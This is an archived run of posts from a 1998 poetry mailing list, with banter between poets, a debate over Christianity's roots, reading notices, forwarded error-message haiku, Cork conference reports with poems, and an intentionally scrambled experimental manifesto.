or two in a work that is largely his alone (with a little help from his two other cohorts). You know, corrected his spelling, changed each archaic "a lot" to "alot," made sure his participles weren't dangling, and helped him with the Future Vague and Imperfect (always his achille's heel). Back of all this lies the poor self-image he suffers from. This is why he is bad-mouthing a really neat piece of writing and projecting the flaws that he imagines, onto others--one other, namely me. (I notice he says nothing of the excellent passages by his other friend, Matthews, or by Angela, his own wife!)

George Burrowing, however, cannot escape so easily this time. Go to the htttp above & you'll find his name boldly inscribed on the Title Page. More telling, you'll find his prose-style throughout, easily identifiable to players & lurkers of this List alike. And who can doubt that the escapades within could only have happened to a youthful Beering? (Since they continue to happen to an aging Baring?)

I trust this will be the last time I have to trouble the List with rebuttals in this case. Let GB know that the age of duelling isnt over till I say so. As for Oregon, it has already been Californicated, too late for BC to Vanca-hoover it up. Outraged in Virtuality, db3.

↑ Index

680. **henry gould**
Re: GB : too far this time
Fri 20 Mar 1998

> *I trust this will be the last time I have to trouble the List with rebuttals in this case. Let GB know that the age of duelling isnt over till I say so. As for Oregon, it has already been Californicated, too late for BC to Vanca-hoover it up. Outraged in Virtuality, db3.*

why don't you just toss it in the Washington-machine? Heh heh.
that was funny, I think.
- Always, Baring-Gould

↑ Index

681. **david bromige**
George Washington-Machine
Fri 20 Mar 1998

In reply to Mr. S. Baring-Gould, Hymn-writer's, post : Funny he should allude to the state of Washington, as coincidentally an entire chapter (6 or 7, I think) is devoted to a visit by a UBC drama-group to present a play at UW Seattle. And

the protagonists--principally, one "G"--are really put through the wringer there.
db3 (That's at http://www.chbooks.com/onlinebooks/piccolo/title.html)

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682. **morpheal**
Re: GB : too far this time
Fri 20 Mar 1998

> *I trust this will be the last time I have to trouble the List with rebuttals in this case. Let GB know that the age of duelling isnt over till I say so. As for Oregon, it has already been Californicated, too late for BC to Vanca-hoover it up. Outraged in Virtuality, db3.*
>
> *why don't you just toss it in the Washington-machine? Heh heh. that was funny, I think.- Always, Baring-Gould*

That reminds me of a quote that I particularly like, though it is a very dark bit of prose about poetics:

"In the end the artificial intelligentsia will
win: people will have been reduced to machines -
as Winston Smith was reduced to loving Big Brother -
and there will be only one understanding of
King Lear."

from "1984: A Collection of Essays"
published in 1984

the author of the quote is a contributor to that
intresting little volume, to which I have forgotten
the other publication data....

author's name ?

Joseph Weizenbaum

Artificial Intelligence Laboratory
M.I.T.
Written in 1984, the anniversary of Orwell's classic.

Of course, as a footnote, I think Adonis would see one interpretation of the Koran as the ultimate evolution of Arab poetics, and quite acceptable as the outcome of the creative process they believe manifests conceptually and currently in gestation, if not maturing towards an Islamic totalism. I would think they too have achieved A.I. and are able to use the technology. In fact I am _intuitively_ absolutely certain that they have it.

Reminds me a little of the Soviet "megaloplasm", which was also a kind of A.I. loop machine technology resembling the many other kinds of what are sometimes loosely called "techno shamanism".

So it goes....."not with a bang, but a whimper..." T.S.E. as the last prophet.

Morpheal

aka Bob Ezergailis

↑ Index

683. **William Burmeister Prod**
Re: borrowings
Fri 20 Mar 1998

On Mar 20, 11:35am, henry gould wrote:
> Subject: borrowings
> Actually, I think the Romans borrowed from the Jews what the Jews borrowed
> from ME - long time ago in the pluperfect futurepast.
>-- End of excerpt from henry gould

Who dat man? Gabriel!!!

↑ Index

684. **Z. Baring-Gould**
Re: George Washington-Machine
Fri 20 Mar 1998

> *In reply to Mr. S. Baring-Gould, Hymn-writer's, post : Funny he should allude to the state of Washington, as coincidentally an entire chapter (6 or 7, I think) is devoted to a visit by a UBC drama-group to present a play at UW Seattle. And the protagonists--principally, one "G"--are really put through the wringer there. db3 (That's at http://www.chbooks.com/onlinebooks/piccolo/title.html)*

On behalf of my beloved brother Spanky, who is unfortunately momentarily (in a time-wiped sense) incommodious "at the moment", I want to thank Mr. - db3[?] - for alerting us to this possible electronical allusion [fictional, I hope] to his "dead ringer" experience. In the Masonic Temple of Boom, OR, when the last G became the first G and the borrower burrowed through a wormhole and emerged - drug-free - in Vancougar, BP [Black Panther, Canalda]. We'll be sure to look it up, together.

If Dante & Virgil traveled that path, why, so can I. God pointed the way. But did he get it all backwards - that remains the question, with a capital Q. I'm sure Beatrice knows. - Zelda Baring-Gould

↑ Index

685. **LanceEli3**
Re: biblical...?
Fri 20 Mar 1998

You think the trinity-mystery is a "Hebraic" idea?
>No thanks. Btw, the term "Hebraic" is a hegemonic insult however
>unconsciously placed.

Sorry, I have to say something. Actually there are quite a few references in Jewish scriptures about the Trinity. For example, when God says "let's make man in my image," the Hebrew word actually means "our image" (plural). Unfortunately things such as this are often lost in translation. Its always good to research such things when studying religious scriptures.

↑ Index

686. **William Burmeister Prod**
Re: biblical...?
Fri 20 Mar 1998

> *Subject: Re: biblical...?*
> *On Fri, 20 Mar 1998 09:55:01 -0600 Tom Mandel said:*
>
> *Yet, I can't get myself to let this go by:*
>
> *"I meant that Xtianity is a Biblical religion and the core of it, the spiritual core of it, is Hebraic. - Henry G."*
>
> *To which my answer is simple: bullshit. The spiritual core of Christianity is Roman pagan religion. You think the trinity-mystery is a "Hebraic" idea? No thanks. Btw, the term "Hebraic" is a hegemonic insult however unconsciously placed.*

With all due respect to Tom and others here (since this was noty directed at me per se), this is just unnecesary. But let's not throw the baby out with the bath water here by making statements such as, "The spiritual core of Xtianity is Roman Pagan religion." First because it just ain't true and ignores a wealth of OT prophecy, and hey, what about the reformation there. This ends up sounding like the most reductionalizing demagoguery, which isn't Tom M. (in light of his vasty knowledge in the area of Hebrew studies). Not to essentialize mine or anyone elses's beliefs here over yrs (Tom) either: you stay on yr trajectory and I'll stay on mine.

William Bvrmeister

↑ Index

687. **Keston Sutherland**
reading
Fri 20 Mar 1998

Rod Smith & Andrew Levy at the Zinc Bar this Sunday

All please come, fly in from out of town

90 W. Houston St./6:30 pm

↑ Index

688. **daniel bouchard**
zinc reading: come all ye faithful
Fri 20 Mar 1998

from the mighty Anselm B.:

> *Rod Smith & Andrew Levy at the Zinc Bar this Sunday*
>
> *All please come, fly in from out of town*
>
> *90 W. Houston St./6:30 pm*

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

689. **morpheal**
Re: Adonis
Fri 20 Mar 1998

> *Adonis wrote me a letter last week, so*
> *I presume he's well and alive, Aldon.*

> *Douglas Messerli*

Is Adonis any adoptive relation to Salmon Rushdie ?

I wonder. <snicker>

↑ Index

690. **David Kellogg**
Re: biblical...?
Fri 20 Mar 1998

When did the Jesus Seminar hijack the Poetics List?

Cheers,
David
~~~
~~~

>Sorry, I have to say something. Actually there are quite a few
>references in Jewish scriptures about the Trinity. For example, when God
>says "let's make man in my image," the Hebrew word actually means "our
>image" (plural). Unfortunately things such as this are often lost in
>translation. Its always good to research such things when studying
>religious scriptures.
>
>

↑ Index

692. **Maz881**
Re: opposite
Fri 20 Mar 1998

Mark P: I believe it's fine to use the word anti-racist. I really asked a very simple question. What is the opposite of the word racist (if you don't use the anti-prefix or the alpha privative)? And more generally, I guess, what percentage of english words have "viable" opposites? And then do you trust words that don't have "viable" opposites? Sorry, those last questions are kind of kevin spacey. But the first one is simple.

You also wrote:
<<Thank heavens I at least understand the infield fly rule!!>>

This i take issue with tho. I don't think even the umpires understand this rule (eg it can be invoked in the outfield. eg it can be NOT invoked when an infielder catches a fly with runners on 1 & 2 or bags loaded with less than 2 outs if the ball is deemed to be not enough of a :pop: a line drive is an easy example of this. but in general, how do you know what's a pop & what's not?)

Bill Luoma

<<----------

Date: Thu, 19 Mar 1998 13:21:18 -0500
From: Mark Prejsnar <[redacted]>
Subject: Re: opposite

I find this post completely baffling. I was talking about the Brooklyn Dodgers, as I recall...

"only opposite of the word racist"??? ...**Huh?**

The Dodgers who kept the team from carrying out a racist "job action" against Jackie Robinson were, I think, (for their time and place) anti-racist guys...

Right?

Your're too profound for me, Bill. Thank heavens I at least understand the in-field fly rule!!

Mark
@lanta>>

On Wed, 18 Mar 1998, Maz881 wrote:

> in an interesting post about the cia, mark P wrote:
>
> "anti-racist guys"
>
> is this the "only" opposite of the word racist?
>
> like for fascist couldn't you say anarchist or communist or democracy believer
> in?
>
> for sexist, what?
>
> interested in these big words lately.
>
> Bill Luoma
>

↑ Index

693. Safdie Joseph
FW: Error Message Haiku
Fri 20 Mar 1998

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

> <<FW: Error Message Haiku>>
>
Fellow Listees:

Some of these are better than others, but the best really will make you smile, so I send them forward as harbingers of spring.

I also highly recommend an essay in the current issue of _Harper's_ (what IS that apostrophe doing there? Harper's WHAT?) by Laura Kipnis, which is advertised as a justification of adultery but turns out to be more than that: an transference (uh oh) of the LANGUAGE of private "scandalous" behavior into public relevance -- an advance beyond the by now lame retort "I don't care what he

does privately as long as he's doing a good job publicly" -- when actually the private and public have always had intimate and scurrilous relations.

I note, happily, the baseball chatter starting to increase . . . but will myself be watching the visual analog of Duncan McNaughton's _Valparaiso_ in a few hours -- think of it: didn't Kansas lose early because granting Irby tenure AND winning an NCAA championship would just be too much in one month?

From: Jean Caspers <[redacted]>
To: Multiple recipients of list OSUCCLP <[redacted]>
Subject: FW: Error Message Haiku
Date: Mon, 16 Mar 1998 10:45:12 -0800
charset="iso-8859-1"

Many of you may find these poignant. I know I did... Jean.

> *Poetry for the PC...*
>
> *Salon (http://www.salon1999.com/) has just announced*
> *the winners of their "Haiku Error Messages" contest.*
> *Here are the winners and those of honorable mention:*
>
> *
>
> *A crash reduces*
> *your expensive computer*
> *to a simple stone.*
>
> *
>
> *Seeing my great fault*
> *Through darkening blue windows*
> *I begin again*
>
> *
>
> *A file that big?*
> *It might be very useful.*
> *But now it is gone.*

*

Everything is gone;
Your life's work has been destroyed.
Squeeze trigger (yes/no)?

*

Windows NT crashed.
I am the Blue Screen of Death.
No one hears your screams.

*

Three things are certain:
Death, taxes, and lost data.
Guess which has occurred.

*

The code was willing,
It considered your request,
But the chips were weak.

*

Printer not ready.
Could be a fatal error.
Have a pen handy?

*

Errors have occurred.
We won't tell you where or why.
Lazy programmers.

*

Server's poor response
Not quick enough for browser.
Timed out, plum blossom.

*

Chaos reigns within.
Reflect, repent, and reboot.
Order shall return.

*

Login incorrect.
Only perfect spellers may
enter this system.

*

This site has been moved.
We'd tell you where, but then we'd
have to delete you.

*

Wind catches lily

scatt'ring petals to the wind:
segmentation fault

*

ABORTED effort:
Close all that you have.
You ask way too much.

*

First snow, then silence.
This thousand dollar screen dies
so beautifully.

*

With searching comes loss
and the presence of absence:
"My Novel" not found.

*

The Tao that is seen
Is not the true Tao, until
You bring fresh toner.

*

The Web site you seek
cannot be located but
endless others exist

*

Stay the patient course
Of little worth is your ire
The network is down

*

There is a chasm
of carbon and silicon
the software can't bridge

*

Yesterday it worked
Today it is not working
Windows is like that

*

To have no errors
Would be life without meaning
No struggle, no joy

*

You step in the stream,
but the water has moved on.
This page is not here.

*

No keyboard present
Hit F1 to continue
Zen engineering?

*

Hal, open the file
Hal, open the damn file, Hal
open the, please Hal

*

Out of memory.
We wish to hold the whole sky,
But we never will.

*

Having been erased,
The document you're seeking
Must now be retyped.

*

The ten thousand things
How long do any persist?
Netscape, too, has gone.

*

Rather than a beep

> *Or a rude error message,*
> *These words: "File not found."*
>
> *
>
> *Serious error.*
> *All shortcuts have disappeared.*
> *Screen. Mind. Both are blank.*

↑ Index

694. **morpheal**
Re: biblical...?
Fri 20 Mar 1998

> *When did the Jesus Seminar hijack the Poetics List?*

They will have to footnote it now.

After all, this discussion of that epic, is archived.
We came, we saw, we conquered, and we moved on to another topic.....

Cheers !

Morpheal

↑ Index

695. **George Bowering**
Re: Bromige shy abt achievement
Sat 21 Mar 1998

> *re : http://www.chbooks.com/onlinebooks/piccolo/title.html*

Well, if you go to the http above you will see what I and any other fool can see. There are 4 photos of the purported four authors. There is a photo in b+w (whereas the other three are coloured) of "George Bowering." An obviouys ruse on Bromige's part. No one looks that dumb, certainly not I. He got some picture out of the Weekly World News and used photo shop on it or something and came up with this dummy "author." I am not denying that Brownwich may have

collaborated with the other 2 authors, though I rather suspect that they are phantasms, too.

But the point is that among the maunderings and really, trust me, bad jokes, there is some good writing, and I take that to be Bromige at his best (as he was in the book "The Gathering." He should not be so shy as to disown those fine passages (one of 21 words on page 212, for example, and I think there was another one somewhere in there.

More important: I would like to take this opportunity to announce that Broadwinch never once got me out of trouble. He once saved me from Fiona Dampington, but I never said I wanted to be rescued in that instance. But he had the Jaguar and I had no car at all in those days.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

696. **Pierre Joris**
Re: in our image
Sat 21 Mar 1998

Tom Mandel wrote:

> *Huge recommendations for the recently-published (but awfully expensive) _Schocken Bible, Vol. 1, The Five Books of Moses._ translated with intro, commentaries and notes by Everett Fox.*

Tom -- Amazon is selling it right now in hc for $24.95 I think, which isn't that bad (down from $35)
--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard

one makes many”
  — Charles Olson
==========

↑ Index

697. Tom Mandel
in our image
Sat 21 Mar 1998

Huge recommendations for the recently-published (but awfully expensive) _Schocken Bible, Vol. 1, The Five Books of Moses._ translated with intro, commentaries and notes by Everett Fox.

The goal is to get as close to the feeling, texture, structure of the Hebrew as possible. It's fabulous.

"Let us make humankind in our image"

As you may imagine, in the many many volumes of commentary on this verse it has always seemed a problem. One of my favorite midrashim on the subject pictures Moses on Mt. Sinai, writing the scripture at God's dictation. He has to write the work of each day of creation. When he comes to our verse, he cries: "Sovereign of the universe, why do you supply an excuse to heretics?" "Write," He replied. "Whoever wishes to err may err."

A lot of Judaism is in those few words.

There are two creation stories in Genesis -- in the first "Let us make humankind in our image." In the second "and YHWH, God, formed the human, of dust from the soil, he blew into his nostrils the breath of life and the human became a living being.

human is "adam" dust is "adama" -- "and the dust became a living being."

Then it is the role of the human to span that gap, between "in our image" and the dust of which she was formed. Never to lose both or, as we say in my industry, "the two ends of the cable are in the same place."

One of the chasidim used to say "here are two truths to keep in your pockets and use as required: 'for my sake was the world created' and 'I am dust.'"

Tom Mandel

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

↑ Index

698. **Tom Mandel**
<sigh>religion</sigh>
Sat 21 Mar 1998

William Burmeister writes:
"let's not throw the baby out with the
bath water here by making statements such as, "The spiritual core of Xtianity is Roman Pagan religion. This ends up
sounding like the most reductionalizing demagoguery..."

Here's a secret for everyone on this list to share: "Sometimes the truth is reductive. So sorry. The mgt."

"Not to
essentialize mine or anyone elses's beliefs here over yrs (Tom)"

You are welcome to your beliefs, Bill. I *don't* mean to step on Xtian toes. If for example you find a prophecy of Xtianity in the "OT" - go for it.

It is the relationship (imperial) of Xtianity to Jews which we were discussing here.

"you stay on yr trajectory and I'll stay on mine."

Hmmm. If you don't like the sound my (intellectual) plane makes when it takes off or lands 100 feet from your (intellectual) house, you are free to move (intellectually), plug your (intellectual) ears, or (intellectually) try to shoot me down.

Tom Mandel

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

↑ Index

699. **Hank Lazer**
Re: Stein quote - where?
Sat 21 Mar 1998

I was reading along in a back issue of West Coast Line, and came across an article by Doug Barbour on Roy Kiyooka. Doug cites an epigraph from Stein used by Kiyooka. Here's the Stein passage:

"The business of art is to live in the complete actual present, that is the complete actual present, and to completely express that complete actual present."

Neither Doug nor I have been able to track down the precise source for this Stein-quote, though we suspect it may be in the Lectures (I've looked & can't find it) or Composition as Explanation (I've looked & can't find it).

Anyone able to help out & locate where Kiyooka gets the Stein passage? Kiyooka uses the passage in _transcanada letters_ but does not give a source for the quote.

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700. L.MacMahon and T.R.Healy
Cork Poetry Conference 1
Sat 21 Mar 1998

On Saturday the 14th of March the second Cork Conference for New and Experimental Poetry organised by Alex Davis and Matthew Gedden was held.

First on was Trevor Joyce whose latest works, _Syzygy_ and _Hellbox_ were launched at the conf. In his introduction to the poem _Chimaera_, he mentioned that formally it is based on the renga and combines texts by Richard Lovelace, Aloysius Bertrand and the author and later interpolaters of the Lieh Tzu. (In a hostile review in Ireland, the poem was slated as being too heavily influenced by Paul Muldoon, though not a word of it is Trevor's own. The briefest glance at the notes in the book _Stone Floods_, which was the subject of the "review" would have revealed this.) The Earth due to be struck by an asteroid on 26th October 2028, Archbishop Ussher's dating of creation to 10 am Thursday the 26th of October 6006 bc, and TJ's own birthday being the 26th of October, the poem is justifiably full of endings and beginnings. Also, look up chimaera in a biology dictionary.

more tomorrow

Randolph Healy

****

Chimaera Trevor Joyce
for Tina Murphy

Ceres and Bacchus bid good night
sharp frosty fingers all your flowers have topped
and what scythes spared winds shave off quite

a moth bred out of moonlight I disturbed
from the dark folds where it lay hid

a naked thing that seems no man may cheat
and love like any jack
another dressed may prove a beast

that creature fluttered free but voided in my lap
a maggot with a human head monstrous misshapen

such whose white satin upper coat of skin
cut upon velvet rich incarnadin
has yet a body and of flesh within

whereas anything with six foot of skeleton
with hands that grip with scalp of hair
front teetch concealed inside a face
and which leans forward as it runs
is called a man with us

the joys of earth and air and thine entire
that with thy feet and wings dost hop and fly

the sky unrolled its folds of purple and blue to the winds
and later from these steps I saw on the horizon
a village torched by soldiers blaze like a comet in the sky

then ah the sickle golden ears are cropped
dropping December shall come weeping in

the blood of horses become jack o lantern
the blood of ment become will o the wisp
kites become sparrow hawks and those hawks cuckoos

when the sun opened its golden lashes on the chaos of worlds and the earth was adrift with its cargo of ashes and bones my terrified soul then fled through the grey web of halflight but that spawn hung on in this shrill rush and spun himself into the full of its white mane

cuckoos in due course again turn raptor
swallows become oysters seashells hatch geese

poor verdant fool and now green ice thy joys
large and as lasting as they perch of grass
bid us lay in gainst winter rain and poise

apes grown of sheep fish that are rotten fruit
flies born of roe such transformations are

souls of the dead like mountain oaks uprooted by demons
souls of the dead like meadow flowers gathered by angels
sun sky earth man all had begun all gone

I cannot tell who loves the skeleton
of a poor marmoset naught but bone bone

****

↑ Index

701. **Cadaly**
Poetry Tourism: Hong Kong
Sat 21 Mar 1998

If anybody has anything to suggest as far as poetry (readings, bookstores, books in English to read before I go, sites, etc.) in Hong Kong, Macau, or Guangdong (sp?) province, I would like to listen.

I will be there for six days and am not going further into China.

A former employer who spoke Mandarin mentioned to me that there were two distinct styles of poetry she was familiar with, a very formal one that her mother used to write poems, and a more informal, modern style. In Cantonese as well? Any difference in the poetry since the pronunciation is different? Help?

Regards,
Catherine Daly
[redacted]

↑ Index

702. **david bromige**
i dont "under stand" metaphor
Sat 21 Mar 1998

---

so i will use my posting space today to deal--with merciless brevity--with Bowering's latest, concerning evidence to be viewed at

http://www.chbooks.com/onlinebooks/piccolo/title.html

--Just how reliable the Klaxon of Kerrisdale may be, can be illustrated by his comments re the "authors' pics" to be seen at the beginning of _Piccolo Mondo_ . *His* (quel egotist!) is not the only B+W pic : mine,too, is B+W. But unlike the others, I do not get to have that small rectangle all to my own body. If you look closely, you will see that the arm (with fist attached) that props up my chin, is at an impossible angle. This is because it is actually Bowering's right arm, not my left. This may be verified by turning to p. 40 of Gale Research's _Contemporary Authors Autobiography Series_, vol. 26, where the entire snapshot is reproduced.

I was able to check the online novel properly for the first time yesterday by going to a computer superior to my own. It's a very nice design job, as one has

come to expect from Coach House. And let me say that Bowering's best writing is in this novel. Didnt know the boy had it in him. He is also an accomplished lit-mimic; there are passages in there I am told "sound like" me. However, a Jaguar was never one of my attributes. George has me confused with Liam Chutney, scholar of Nineties Decadence, who gave a snockered GB a lift one night and offered to satisfy his curiosity concerning Des Esseintes & the Philistines. Took them a long time to get home.

With the wish that this posting contain something of value, I'll add that I'm writing while listening to a great, weekly radio show available to all in the Bay Area who can receive 94.1 FM, KPFA public radio. It's "The Johnny Otis Show," 3 R n B packed hours from 9 till noon each Saturday, with commentary by Mr. Otis hisself as he spins a notable succession of vinyl from his extensive collection. The hour from 10-11 he reserves for archive notes--he plays recordings he was involved in as performer &/or producer, and remarks on what now strike him as their strong or weak points, tells how they came to be made, and the like. Sometimes there's live music--the other week, there was a Klezmer trio, a string quartet from a local symphony, and a blues group--and spontaneous R+B prosody from the small crowd gathered there at the Powerhouse Brewing Co in Sebastopol. For those Listfellows who follow poetry into its musical adventure, and for historians of the blues, this is a "mustn't miss" event. I'm goin' down there soon as i sign off. See ya there? db3

↑ Index

703. **k. lederer**

Re: Stein quote - where?

Sat 21 Mar 1998

Hi--

The Stein quote comes from "Plays," from LECTURES in AMERICA.

I don't have the page number--I found the quote cited in a wonderful book by Wendy Steiner entitled EXACT RESEMBLANCE to EXACT RESEMBLANCE (Yale: Yale U Press, 1978). If you can't find the page number in "Plays," you will be able to find it in Steiner.

And thanks for subscribing to Explosive! I just got your sub today--

Best,
Katy
***

On Sat, 21 Mar 1998, Hank Lazer wrote:

> *I was reading along in a back issue of West Coast Line, and came across an article by Doug Barbour on Roy Kiyooka. Doug cites an*

> *epigraph from Stein used by Kiyooka. Here's the Stein passage:*
>
> *"The business of art is to live in the complete actual present, that is the complete actual present, and to completely express that complete actual present."*
>
> *Neither Doug nor I have been able to track down the precise source for this Stein-quote, though we suspect it may be in the Lectures (I've looked & can't find it) or Composition as Explanation (I've looked & can't find it).*
>
> *Anyone able to help out & locate where Kiyooka gets the Stein passage? Kiyooka uses the passage in _transcanada letters_ but does not give a source for the quote.*

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704. **Alan Myouka Sondheim**

sonnet, DNS, entropy

Sat 21 Mar 1998

-

sonnet, DNS, entropy

now the time of thermal heating splatters a particular zero
across the domain name insertion, that is to wet what bit
into the format of the seven groves, consider education .edu
lending a path crackling with desire and naked students
hardening an axiom. Here is the axiom: Succession always
follows, and there is no Reason. To assume a One anywhere in,
the vicinity. so it lays there, stillborn with umbilical.
which would be the folding of a catastrophe still fresh.*
now is.
The time of domain names expands, .mil for example turns
to ash, the military. .net splays mesh across the same.**
a student previously mentioned. there are never enough
portions to go around. To assert a One is to beg her,
the question.

---

*Thom, Two
**Irigaray, Irrigation

↑ Index

705. **dbkk**

Another plug (non-nepotistic), for SWARM

Sat 21 Mar 1998

This is Kevin Killian--recommending a new book you can order through the mail. Black Star Series announces the publication of SWARM, a book of stories by Camille Roy.

The book design (by Jay Schwartz) utilizes color xerography, letter press, and offset to striking effect: SWARM bears resemblance to a lesbian rug.

Here is Susan Smith Nash (in WITZ) on Camille Roy's previous book, "The Rosy Medallions": "This is the language of the socially-constructed (or deconstructed) self bared naked so that you're forced to see your own violences... If Henry Miller were a smart, funny lesbian and he were rewriting The Rosy Crucifixion, this is what might result. Brilliant insights into the savage dynamics of love."

SWARM is available from Small Press Distribution ([redacted]), or by mail, for ten dollars ($10) inclusive of shipping, handling, and tax, from

> *Black Star Series*
> *1419 20th Street*
> *San Francisco, CA 94107*

Remember, when you order this book from Black Star Series, make checks payable to Megan Adams. I would say, get many copies, you can give them out as graduation presents too, or Mother's Day also.

Thanks everyone (but you'll thank me)--!

KK

↑ Index

706. **AERIALEDGE**

Baltimore Reading

Sun 22 Mar 1998

Wednsday March 25th at 8 PM

Rod Smith & Mark Wallace

Maryland Institute College of Art

Auditorium S-3, Mount Royal Station
(The old train station)

↑ Index

707. Alan Myouka Sondheim
children's word transformation game
Sun 22 Mar 1998

-

remarkable transformations (one letter at a time)

alan	.org	.mil	jennifer
alar	.ort	.mrl	jernifer
alur	.ont	.mrm	bernifer
allr	.nnt	.mzm	bornifer
aulr	.net	.czm	hornifer
aupr		.com	hownifer
jupr			howniwer
judr			hownower
jodr			hinnower
jodu			ninnower
jolu			ninnkwer
julu			niknkwer
			nikukwer
			nikukwir
			nikukwin
			nikukoin

↑ Index

708. L.MacMahon and T.R.Healy
Cork Conference 2
Sun 22 Mar 1998

Another instalment. More to follow over the next few days including a biblio and distn details.

Randolph Healy.

****

Trevor Joyce was followed by Michael Smith who read mainly new work which included some remarkably successful poems written for children. He also read some of his translations of Machado and Lorca. Unfortunately I do not have any of the texts to hand. Here is a poem from Michael's collection: _Lost Genealogies_.

WHEELWRIGHTS MICHAEL SMITH

The iron hoop
burns the timbers tight
in a geometry of hands.

They cannot read the stars
like the Incas.
Their wheels are not planetary,
sounding celestial music.

Bump of cobble and kerb
is their consideration:
winger slush and summer rain,
ice and smooth rotation.

****

Next on was Geoffrey Squires, who read two long poems, both of which were in sections.

Here is a sample from _A Long Poem in Three Sections_ which was launched at the conference and is published by Levraut de Poche (Form Books with a beret and string of onions).

from A LONG POEM IN THREE SECTIONS GEOFFREY SQUIRES

II

No depth here but recession of surfaces
rock behind rock and behind that the road
and then rocks again, white, placed
one in front of the other, irregularly,
all shimmering

Gullies and folds, the basins
formed by the rocks, and the earth between
where it collects, light following
falling into the hollows, bending
over surfaces, a confusion
of ways down

The heat brings with it a silence
which is not the silence of night or of snow
but a heaviness and troubled vision
with stones, metal, buildings, all shimmering

Haze over everything, making everything unclear
as the heat rises, confusing
even the points of the buildings, the sharp features
the definiteness that they have

Warm evening, luminous calm
somewhere a bay is filled
soft tic of birds in the night air
rock behing rock and the path between
boulders gleaming white in the dark
in the distance the small eye of the house

Rocks in the darkness, shapes
sensed rather than seen, inert like animals
asleep in the middle of a field or by the road
which one moves among with care, picking a way home
across the dark grass

Small fires in the near hills and sound of the sea
beating down in the hollow of the bay
no sense of arrival but of echo only
reverberation in the darkness, footsteps
between silences, a dog barking in space

And the rocks still warm still shimmering
in the dark, after the day's burning
like the memory of another world
which they have crossed from somehow
like a memory of the physical

they are cool now in the moonlight
which picks them out on the hillside
like smooth, sleeping animals
hump-backed white forms
half-buried in the earth
and yet because of the moonlight
seemingly disembodied and removed
and quite unearthly

****

↑ Index

709. Miekal And
Sleep Somalixt MANIFESTO
Sun 22 Mar 1998

Sleep Somalixt MANIFESTO

They, Somalixts, believe of Dreams. They, Somalixts, believe of nothofg else, <meta> beofg absolute, osleepr than Dreams.They, Somalixts, believe formerly

everythofg Dreams. They believe formerly everythofg formerly exixted, of what ix
commonly referred to <meta> "sleep p<meta>t", formerly exixts of what ix commonly referred
to <meta> "sleep present", or formerly could exixt, of what ix commonly referred to <meta>
"sleep future", ix subject to Dreams. Of fact, so ix what ix p<meta>t, present and
future, subject to Dreams. They believe formerly anythofg, formerly ix eixleepr
imagofable or unimagofable, h<meta> exixted, or could exixt, somewhere of sleep
absolute of all of space and all of time.

They believe formerly sleep limits of sleep human imagofation why not! also completely
subject to Dreams. They believe formerly what w<meta>, what ix, and what shall be
imagofed, of its dixtofction to what ix now considered real, ix subject to
Dreams. They believe of sleep poTheyr of Dreams <meta> beofg sleep l<meta>t and only
remaofofg genuofely supernatural poTheyr. Sleep poTheyr of Dreams remaofs
supernatural, because Dreams and only Dreams transcends all previously
exixtofg, now exixtofg, and future exixtofg, actual and potential, natures
and poTheyrs, <meta> sleepir only constant. Sleepre why not! no osleepr,real, constants of
Nature or of Science. All osleepr appwhy not!nt constants why not! subject to Dreams.
They believe formerly sleep effective processes, formerly exixted, exixt, or formerly shall
exixt, why not! all subject to Dreams.

Causalities, all causal relations sleepmselves, why not! potentially subject to
Dreams. Sleep fact formerly a particular observable cause gives rixe to a
particular observable effect, and formerly formerly ix commonly believed to be
predictably thus, ix not necessarily thus of sleep p<meta>t or of sleep future. It

w<meta> only thus at formerly moment of sleep observation and prediction. Formerly
appwhy not!nt thusness, no matter how many times sleep same ix observed or how
cwhy not!fully and closely it ix scrutofized and me<meta>ured, ix subject to Dreams.
Thix ix not negated by any fact of a contofuous series of similar or
identical causal relations, havofg been appwhy not!ntly observed, betTheyen any
particular kofd of presumed cause and any particular presumed kofd of
effect, nor by how many times formerly same w<meta> observed. Sleep only certaofty of
causality ix Dreams.

Dreams ix not a sleeporetical profciple, or an idea, or an exixtent, or an
energetic force, and yet sleepre ix nothofg whatever, formerly ever exixted, formerly
exixts, or ix yet to exixt, formerly ix not subject to Dreams, and which does
not exhibit sleep effects of Dreams. Dreams ix everywhere, and of everythofg,
and yet Dreams ix not any particular thofg, or any particular profciple. It
ix sleep most fundamental characterixtic of everywhere and everythofg. Of fact
sleepre ix no thought, and sleepre why not! no ide<meta>, without Dreams. Sleep very
oftention of keepofg an idea of mofd, <meta> it h<meta> arixen sleepre, itself
ofvolves Dreams. Any mental activity ofvolves Dreamss. Sleep mofd ix
essentially Dreams. Mofds constantly Dreams.

They believe formerly everythofg formerly once exixted, and everythofg formerly does not
now exixt, ix subject to sleep poTheyr of Dreams, such formerly formerly shall
somewhere, someday, exixt agaof. Of fact They believe formerly, subject to sleep
poTheyr of Dreams, formerly which did not ever exixt and formerly which appewhy not!d to
have p<meta>sed from exixtence, might subsequently have exixted, or not ever

have not exixted. They believe sleepn, formerly neixleepr sleep logical proposition formerly
it did not exixt, nor sleep logical proposition formerly it never did not exixt,
ix falsified. Thix ix a radical departure from all previous beliefs and thofkofg. Similarly, They believe, with equal resolve, formerly, subject to sleep
poTheyr of Dreams, what exixts and w<meta> known, with absolute certaofty, to have
exixted, might henceforth not exixt and sleepn be known, with absolute certaofty, <meta> never havofg exixted. They believe sleepn, formerly neixleepr sleep
logical proposition, it exixted, nor sleep logical proposition, it never exixted, ix falsified. Thix ix anosleepr radical departure from all previous
thofkofg. They believe formerly Dreams ix sleep fundamental paradox, and formerly all
paradoxes of
time and space why not! ultimately resolvable to formerly fundamental paradox. They
believe formerly Dreams ix absolute and formerly all changofg ix itself subject
to Dreams. They believe formerly sleep rate of Dreams might be stopped, accelerated,
